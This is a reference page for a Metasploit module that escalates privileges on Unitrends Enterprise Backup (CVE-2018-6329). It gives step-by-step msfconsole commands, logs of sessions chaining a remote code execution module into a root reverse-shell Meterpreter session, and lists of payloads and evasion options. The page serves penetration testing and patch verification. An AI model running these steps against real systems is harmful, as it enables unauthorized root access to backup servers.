Unitrends Enterprise Backup bpserverd Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/ueb_bpserverd_privesc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Unitrends Enterprise Backup bpserverd Privilege Escalation
Module: exploit/linux/local/ueb_bpserverd_privesc
Source code: modules/exploits/linux/local/ueb_bpserverd_privesc.rb
Disclosure date: 2018-03-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-6329
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system. This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the localhost by dropping a python script on the local file system. Unitrends stopped bpserverd from listening remotely on version 10.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/ueb_bpserverd_privesc
msf exploit(ueb_bpserverd_privesc) > show targets
... a list of targets ...
msf exploit(ueb_bpserverd_privesc) > set TARGET target-id
msf exploit(ueb_bpserverd_privesc) > show options
... show and set options ...
msf exploit(ueb_bpserverd_privesc) > set SESSION session-id
msf exploit(ueb_bpserverd_privesc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
has an issue in which its authentication can be bypassed. A remote attacker could use this
issue to execute arbitrary commands with root privilege on the target system.
This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
localhost by dropping a python script on the local file system. Unitrends stopped
bpserverd from listening remotely on version 10.
Vulnerable Application
This module has been tested successfully on: * UEB 9.2 * UEB 10.0
Verification Steps
- Get a user shell with
exploit/linux/http/ueb_api_rcewithset target 1 use exploit/linux/local/ueb_bpserverd_privescset session [SESSION]exploit- A root meterpreter session should have been opened successfully
Scenarios
UEB 10.0 on CentOS 6.5
msf > use exploit/linux/local/ueb_priv_esc
msf exploit(linux/local/ueb_priv_esc) > set session 4
session => 4
msf exploit(linux/local/ueb_priv_esc) > exploit
[*] Started reverse TCP handler on 15.0.0.177:4444
[*] Writing payload executable to '/tmp/pEFoythF'
[*] Writing privesc script to '/tmp/CTZSovJR'
[*] Fixing permissions
[*] Sending stage (857352 bytes) to 10.20.1.202
[*] Meterpreter session 5 opened (15.0.0.177:4444 -> 10.20.1.202:45188) at 2018-04-27 16:44:28 -0400
[+] Deleted /tmp/pEFoythF
[+] Deleted /tmp/CTZSovJR
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
UEB 9.2 on CentOS 6
resource (ueb_priv.rb)> use exploit/linux/http/ueb_api_rce
resource (ueb_priv.rb)> set rhost 1.1.1.1
rhost => 1.1.1.1
resource (ueb_priv.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (ueb_priv.rb)> set target 1
target => 1
resource (ueb_priv.rb)> run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:443 - Sending requests to UEB...
[*] Command Stager progress - 19.76% done (164/830 bytes)
[*] Command Stager progress - 39.16% done (325/830 bytes)
[*] Command Stager progress - 56.87% done (472/830 bytes)
[*] Command Stager progress - 74.82% done (621/830 bytes)
[*] Command Stager progress - 92.77% done (770/830 bytes)
[*] Command Stager progress - 110.48% done (917/830 bytes)
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:40216) at 2018-11-15 20:03:46 -0500
[*] Command Stager progress - 126.63% done (1051/830 bytes)
meterpreter > getuid
Server username: uid=48, gid=48, euid=48, egid=48
meterpreter > sysinfo
Computer : 1.1.1.1
OS : Red Hat 6.5 (Linux 2.6.32-573.26.1.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 1...
resource (ueb_priv.rb)> use exploit/linux/local/ueb_bpserverd_privesc
resource (ueb_priv.rb)> set session 1
session => 1
resource (ueb_priv.rb)> run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Writing payload executable to '/tmp/.mM0iyQvoAO'
[*] Writing privesc script to '/tmp/.sDjn0m'
[*] Fixing permissions
[*] Sending stage (861480 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:40219) at 2018-11-15 20:04:21 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
Go back to menu.
Msfconsole Usage
Here is how the linux/local/ueb_bpserverd_privesc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/ueb_bpserverd_privesc
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show info
Name: Unitrends Enterprise Backup bpserverd Privilege Escalation
Module: exploit/linux/local/ueb_bpserverd_privesc
Platform: Linux
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-03-14
Provided by:
Cale Smith
Benny Husted
Jared Arave
h00die
Available targets:
Id Name
-- ----
0 UEB <= 10.0
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload information:
Description:
It was discovered that the Unitrends bpserverd proprietary protocol,
as exposed via xinetd, has an issue in which its authentication can
be bypassed. A remote attacker could use this issue to execute
arbitrary commands with root privilege on the target system. This is
very similar to exploits/linux/misc/ueb9_bpserverd however it runs
against the localhost by dropping a python script on the local file
system. Unitrends stopped bpserverd from listening remotely on
version 10.
References:
https://support.unitrends.com/UnitrendsBackup/s/article/000005691
http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html
https://www.exploit-db.com/exploits/44297
https://nvd.nist.gov/vuln/detail/CVE-2018-6329
Module Options
This is a complete list of options available in the linux/local/ueb_bpserverd_privesc exploit:
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show options
Module options (exploit/linux/local/ueb_bpserverd_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 UEB <= 10.0
Advanced Options
Here is a complete list of advanced options supported by the linux/local/ueb_bpserverd_privesc exploit:
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show advanced
Module advanced options (exploit/linux/local/ueb_bpserverd_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
BPSERVERDPORT 1743 yes Port bpserverd is running on
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/ueb_bpserverd_privesc module can exploit:
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show targets
Exploit targets:
Id Name
-- ----
0 UEB <= 10.0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/ueb_bpserverd_privesc exploit:
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
17 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
18 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
19 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
20 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
21 payload/linux/x86/read_file normal No Linux Read File
22 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
25 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
26 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
27 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
28 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
29 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
32 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
33 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
34 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
35 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/ueb_bpserverd_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/ueb_bpserverd_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
References
- https://support.unitrends.com/UnitrendsBackup/s/article/000005691
- http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html
- EDB-44297
- CVE-2018-6329
See Also
Check also the following modules related to this module:
- exploit/linux/http/ueb_api_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/ms18_8120_win32k_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- payload/cmd/mainframe/apf_privesc_jcl
Authors
- Cale Smith
- Benny Husted
- Jared Arave
- h00die
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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